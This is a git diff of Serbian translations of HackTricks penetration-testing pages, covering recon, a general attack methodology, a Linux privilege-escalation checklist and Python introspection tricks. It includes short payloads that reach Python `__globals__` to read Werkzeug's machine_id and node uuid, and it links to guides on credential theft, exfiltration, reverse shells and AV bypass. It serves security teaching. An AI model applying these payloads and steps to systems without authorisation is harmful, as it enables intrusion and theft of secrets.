Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokušate druge portove:
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Screenshots**
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Zato, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -504,21 +504,21 @@ Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeba
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u bucket-ima**:
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u kanticama**:
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Second Round DNS Brute-Force**](#second-dns-bruteforce-round) za više informacija).
Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](#second-dns-bruteforce-round) za više informacija).
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo bucket-a u AWS-u**.
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo kanti u AWS-u**.
### **Looking for vulnerabilities**
Ako pronađete stvari kao što su **otvoreni bucket-i ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
## Emails
@ -546,18 +546,18 @@ Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
## Secrets Leaks
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim procurenjima** čije informacije nisu u tim bazama podataka:
### Github Leaks
Kredencijali i API-ji mogu biti procurili u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) na njima.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstualnih** **URL-ova** koji su mu prosleđeni, jer ponekad **web stranice takođe sadrže tajne**.
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstova** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
#### Github Dorks
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe tražiti u organizaciji koju napadate:
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
{{#ref}}
github-leaked-secrets.md
@ -565,14 +565,14 @@ github-leaked-secrets.md
### Pastes Leaks
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 paste sajtova u isto vreme.
Ponekad će napadači ili samo radnici **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
### Google Dorks
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
### **Looking for vulnerabilities**
@ -592,11 +592,11 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo
- [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
**Većina ranjivosti** koje pronalaze lovci na greške nalazi se unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/index.html).
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **radne tokove kako biste imali neke inicijalne web informacije.**
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
## Recapitulation
@ -606,17 +606,17 @@ Dakle, već ste:
1. Pronašli sve **kompanije** unutar opsega
2. Pronašli sve **resurse** koji pripadaju kompanijama (i izvršili neku skeniranje ranjivosti ako je u opsegu)
3. Pronašli sve **domen** koji pripadaju kompanijama
4. Pronašli sve **poddomen** domena (ima li preuzimanja poddomena?)
5. Pronašli sve **IP adrese** (iz i **ne iz CDN-a**) unutar opsega.
3. Pronašli sve **domenе** koje pripadaju kompanijama
4. Pronašli sve **poddomenе** domena (ima li preuzimanja poddomena?)
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
8. **Emailovi**, **curenje kredencijala**, i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
8. **Emailovi**, **procureni kredencijali**, i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
9. **Pentesting svih web stranica koje ste pronašli**
## **Full Recon Automatic Tools**
Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
Postoji nekoliko alata koji će izvršiti deo predloženih radnji protiv datog opsega.
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)

View File

@ -13,17 +13,17 @@ _Hacktricks logotipi dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/p
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**izbegavanju GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Otkriće hostova unutar mreže](pentesting-network/index.html#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
### 1 - [Otkriće hostova unutar mreže](pentesting-network/index.html#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/index.html)
**U zavisnosti** od toga da li je **test** koji sprovodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
> [!NOTE]
> Imajte na umu da ako sprovodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/index.html) **(Interni)**
**Ova sekcija se primenjuje samo ako sprovodite interni test.**\
Pre nego što napadnete host, možda biste želeli da **ukradete neke kredencijale** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mreža**](pentesting-network/index.html#sniffing).
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mreža**](pentesting-network/index.html#sniffing).
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/index.html#scanning-hosts)
@ -31,18 +31,18 @@ Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate
### **4-** [Pretraživanje eksploita verzija usluga](../generic-hacking/search-exploits.md)
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji exploit koji vam može dati shell...
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji exploit koji će vam dati shell...
### **5-** Pentesting Usluge
Ako ne postoji neki fancy exploit za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
Ako nema nikakvog fancy exploita za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu** _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
**Želim da napravim posebnu napomenu o** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji deo).**\
**Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/index.html) **delu (jer je to najopsežniji).**\
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](../generic-hacking/search-exploits.md) može se naći ovde.
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, mogli biste početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, mogli biste početi sa **povezivanjem na uslugu, fuzzing-om i čitanjem odgovora** (ako ih ima).
#### 5.1 Automatski alati
@ -50,15 +50,15 @@ Postoji nekoliko alata koji mogu izvršiti **automatske procene ranjivosti**. **
#### **5.2 Brute-Forcing usluga**
U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga brute forcing**](../generic-hacking/brute-force.md)**.**
U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga brute forcing-a**](../generic-hacking/brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
### 6- [Phishing](phishing-methodology/index.html)
Ako do ovog trenutka niste pronašli nijednu zanimljivu ranjivost, **možda ćete morati da probate neki phishing** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/):
Ako do ovog trenutka niste pronašli nijednu zanimljivu ranjivost, **možda ćete morati da probate neki phishing** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/index.html):
### **7-** [**Dobijanje Shell-a**](../generic-hacking/reverse-shells/)
### **7-** [**Dobijanje Shell-a**](../generic-hacking/reverse-shells/index.html)
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](../generic-hacking/reverse-shells/).
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](../generic-hacking/reverse-shells/index.html).
Posebno na Windows-u mogli biste trebati neku pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
@ -68,37 +68,37 @@ Ako imate problema sa shell-om, ovde možete pronaći malu **kompilaciju najkori
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
### **9 -** [**Ekstrakcija**](../generic-hacking/exfiltration.md)
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **uvedete nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](../generic-hacking/exfiltration.md)**.**
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uvedete nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](../generic-hacking/exfiltration.md)**.**
### **10- Eskalacija privilegija**
#### **10.1- Lokalna Privesc**
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalate privilegije.**\
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalirate privilegije.**\
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/index.html) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
Trebalo bi takođe da proverite ove stranice o tome kako **Windows funkcioniše**:
- [**Autentifikacija, Kredencijali, Token privilegije i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
- Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
- Kako [**ukrasti kredencijale**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) u Windows-u
- Neki trikovi o [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
- [**Autentifikacija, Akreditivi, Token privilegije i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
- Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/index.html)
- Kako [**ukrasti akreditive**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) u Windows-u
- Neki trikovi o [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
**Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domain Privesc**
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/index.html). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
### 11 - POST
#### **11**.1 - Pljačka
Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
Pronađite ovde različite načine za [**dump lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Persistencija
@ -109,22 +109,22 @@ TODO: Završiti persistenciju Post u Windows-u i Linux-u
### 12 - Pivoting
Sa **prikupljenim kredencijalima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža gde je vaša žrtva povezana.\
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža na kojima je vaša žrtva povezana.\
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](../generic-hacking/tunneling-and-port-forwarding.md).\
Definitivno biste trebali proveriti post o [metodologiji pentestovanja Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje kredencijala.\
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotovanje u Windows okruženjima.
Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/index.html). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dump akreditiva.\
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/index.html), mogla bi biti veoma korisna za pivotovanje u Windows okruženjima.
### VIŠE
#### [Android Aplikacije](../mobile-pentesting/android-app-pentesting/)
#### [Android Aplikacije](../mobile-pentesting/android-app-pentesting/index.html)
#### **Eksploatacija**
- [**Osnovna Linux Eksploatacija**](broken-reference/)
- [**Osnovna Linux Eksploatacija**](broken-reference/index.html)
- [**Osnovna Windows Eksploatacija**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**Osnovni alati za eksploataciju**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
- [**Osnovni alati za eksploataciju**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
#### [**Osnovni Python**](python/)
#### [**Osnovni Python**](python/index.html)
#### **Crypto trikovi**

View File

@ -6,7 +6,7 @@
- [**Pyscript hacking tricks**](pyscript.md)
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/index.html)
- [**Basic python web requests syntax**](web-requests.md)
- [**Basic python syntax and libraries**](basic-python.md)

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Različite ranjivosti kao što su [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) ili [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) mogu vam omogućiti da **pročitate interne podatke iz Pythona, ali neće vam omogućiti da izvršite kod**. Stoga, pentester će morati da iskoristi ova prava čitanja da **dobije osetljive privilegije i eskalira ranjivost**.
Različite ranjivosti kao što su [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) ili [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) mogu vam omogućiti da **pročitate interne podatke u Pythonu, ali neće vam omogućiti da izvršite kod**. Stoga, pentester će morati da iskoristi ova prava čitanja da **dobije osetljive privilegije i eskalira ranjivost**.
### Flask - Pročitajte tajni ključ
@ -13,9 +13,9 @@ Glavna stranica Flask aplikacije verovatno će imati **`app`** globalni objekat
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
U ovom slučaju je moguće pristupiti ovom objektu koristeći bilo koji gadget za **pristup globalnim objektima** sa [**strane za zaobilaženje Python sandboxes**](bypass-python-sandboxes/).
U ovom slučaju je moguće pristupiti ovom objektu koristeći bilo koji gadget za **pristup globalnim objektima** sa [**strane za zaobilaženje Python sandboxes**](bypass-python-sandboxes/index.html).
U slučaju kada **je ranjivost u drugom python fajlu**, potreban vam je gadget za prelazak između fajlova kako biste došli do glavnog da **pristupite globalnom objektu `app.secret_key`** kako biste promenili Flask tajni ključ i mogli da [**povećate privilegije** znajući ovaj ključ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
U slučaju kada **je ranjivost u drugom python fajlu**, potreban vam je gadget za pretraživanje fajlova kako biste došli do glavnog da **pristupite globalnom objektu `app.secret_key`** kako biste promenili Flask tajni ključ i mogli da [**povećate privilegije** znajući ovaj ključ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
Payload poput ovog [iz ovog izveštaja](https://ctftime.org/writeup/36082):
```python
@ -25,7 +25,7 @@ Koristite ovaj payload da **promenite `app.secret_key`** (ime u vašoj aplikacij
### Werkzeug - machine_id i node uuid
[**Koristeći ove payload-e iz ovog izveštaja**](https://vozec.fr/writeups/tweedle-dum-dee/) moći ćete da pristupite **machine_id** i **uuid** node, koji su **glavne tajne** koje su vam potrebne da [**generišete Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md) koji možete koristiti za pristup python konzoli u `/console` ako je **debug mode omogućen:**
[**Koristeći ove payload-ove iz ovog izveštaja**](https://vozec.fr/writeups/tweedle-dum-dee/) moći ćete da pristupite **machine_id** i **uuid** node, koji su **glavne tajne** koje su vam potrebne da [**generišete Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md) koji možete koristiti za pristup python konzoli u `/console` ako je **debug mode omogućen:**
```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}

View File

@ -18,7 +18,7 @@
### [Diskovi](privilege-escalation/index.html#drives)
- [ ] **Lista montiranih** diskova
- [ ] **Da li postoji neki nemontirani disk?**
- [ ] **Da li postoji nemontirani disk?**
- [ ] **Da li postoje kredencijali u fstab?**
### [**Instalirani softver**](privilege-escalation/index.html#installed-software)
@ -37,24 +37,24 @@
### [Zakazani/Cron poslovi?](privilege-escalation/index.html#scheduled-jobs)
- [ ] Da li se [**PATH**](privilege-escalation/index.html#cron-path) menja od strane nekog crona i možete li u njega **pisati**?
- [ ] Da li postoji neki [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) u cron poslu?
- [ ] Da li se [**PATH**](privilege-escalation/index.html#cron-path) menja od strane nekog crona i možete li **pisati** u njega?
- [ ] Da li postoji [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) u cron poslu?
- [ ] Da li se neki [**modifikovani skript**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) **izvršava** ili se nalazi u **modifikovanoj fascikli**?
- [ ] Da li ste otkrili da se neki **skript** može ili se **izvršava vrlo često**](privilege-escalation/index.html#frequent-cron-jobs)? (svakih 1, 2 ili 5 minuta)
### [Servisi](privilege-escalation/index.html#services)
- [ ] Da li postoji neki **pisivi .service** fajl?
- [ ] Da li postoji neki **pisivi binarni** fajl koji izvršava **servis**?
- [ ] Da li postoji neka **pisiva fascikla u systemd PATH**?
- [ ] Da li postoji **pisiv .service** fajl?
- [ ] Da li postoji **pisivi binarni** fajl koji izvršava **servis**?
- [ ] Da li postoji **pisiva fascikla u systemd PATH**?
### [Tajmeri](privilege-escalation/index.html#timers)
- [ ] Da li postoji neki **pisivi tajmer**?
- [ ] Da li postoji **pisivi tajmer**?
### [Soketi](privilege-escalation/index.html#sockets)
- [ ] Da li postoji neki **pisivi .socket** fajl?
- [ ] Da li postoji **pisivi .socket** fajl?
- [ ] Možete li **komunicirati sa nekim soketom**?
- [ ] **HTTP soketi** sa zanimljivim informacijama?
@ -72,19 +72,19 @@
- [ ] Generička enumeracija korisnika/grupa
- [ ] Da li imate **veoma veliki UID**? Da li je **mašina** **ranjiva**?
- [ ] Možete li [**escalirati privilegije zahvaljujući grupi**](privilege-escalation/interesting-groups-linux-pe/) kojoj pripadate?
- [ ] **Clipboard** podaci?
- [ ] Možete li [**escalirati privilegije zahvaljujući grupi**](privilege-escalation/interesting-groups-linux-pe/index.html) kojoj pripadate?
- [ ] **Podaci iz clipboard-a**?
- [ ] Politika lozinki?
- [ ] Pokušajte da **koristite** svaku **poznatu lozinku** koju ste prethodno otkrili da se prijavite **sa svakim** mogućim **korisnikom**. Pokušajte da se prijavite i bez lozinke.
### [Pisivi PATH](privilege-escalation/index.html#writable-path-abuses)
- [ ] Ako imate **privilegije pisanja nad nekom fasciklom u PATH** možda ćete moći da eskalirate privilegije
- [ ] Ako imate **privilegije pisanja nad nekom fasciklom u PATH-u** možda ćete moći da eskalirate privilegije
### [SUDO i SUID komande](privilege-escalation/index.html#sudo-and-suid)
- [ ] Možete li izvršiti **bilo koju komandu sa sudo**? Možete li ga koristiti da ČITATE, PIŠETE ili IZVRŠAVATE bilo šta kao root? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Da li postoji neki **exploitable SUID binarni**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Da li postoji **exploitable SUID binarni**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Da li su [**sudo** komande **ograničene** po **putanji**? Možete li **obići** ograničenja](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
- [ ] [**Sudo/SUID binarni bez naznačene putanje**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
- [ ] [**SUID binarni koji naznačava putanju**](privilege-escalation/index.html#suid-binary-with-command-path)? Obilaženje
@ -97,11 +97,11 @@
### [Kapaciteti](privilege-escalation/index.html#capabilities)
- [ ] Da li neki binarni ima neku **neočekivanu sposobnost**?
- [ ] Da li neki binarni fajl ima neku **neočekivanu sposobnost**?
### [ACL-ovi](privilege-escalation/index.html#acls)
- [ ] Da li neki fajl ima neki **neočekivani ACL**?
- [ ] Da li neki fajl ima neku **neočekivanu ACL**?
### [Otvorene Shell sesije](privilege-escalation/index.html#open-shell-sessions)
@ -122,7 +122,7 @@
- [ ] **Izmenjeni** u poslednjih minuta
- [ ] **Sqlite DB fajlovi**
- [ ] **Skriveni fajlovi**
- [ ] **Skripte/Binarni u PATH**
- [ ] **Skripte/Binari u PATH-u**
- [ ] **Web fajlovi** (lozinke?)
- [ ] **Backup-i**?
- [ ] **Poznati fajlovi koji sadrže lozinke**: Koristite **Linpeas** i **LaZagne**

View File

@ -6,7 +6,7 @@
[Iz dokumenata](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Kada se pokrene sa `--inspect` opcijom, Node.js proces sluša za klijentom za debagovanje. Po **defaultu**, sluša na adresi i portu **`127.0.0.1:9229`**. Svakom procesu je takođe dodeljen **jedinstveni** **UUID**.
Klijenti inspektora moraju znati i odrediti adresu hosta, port i UUID za povezivanje. Puna URL adresa će izgledati otprilike kao `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
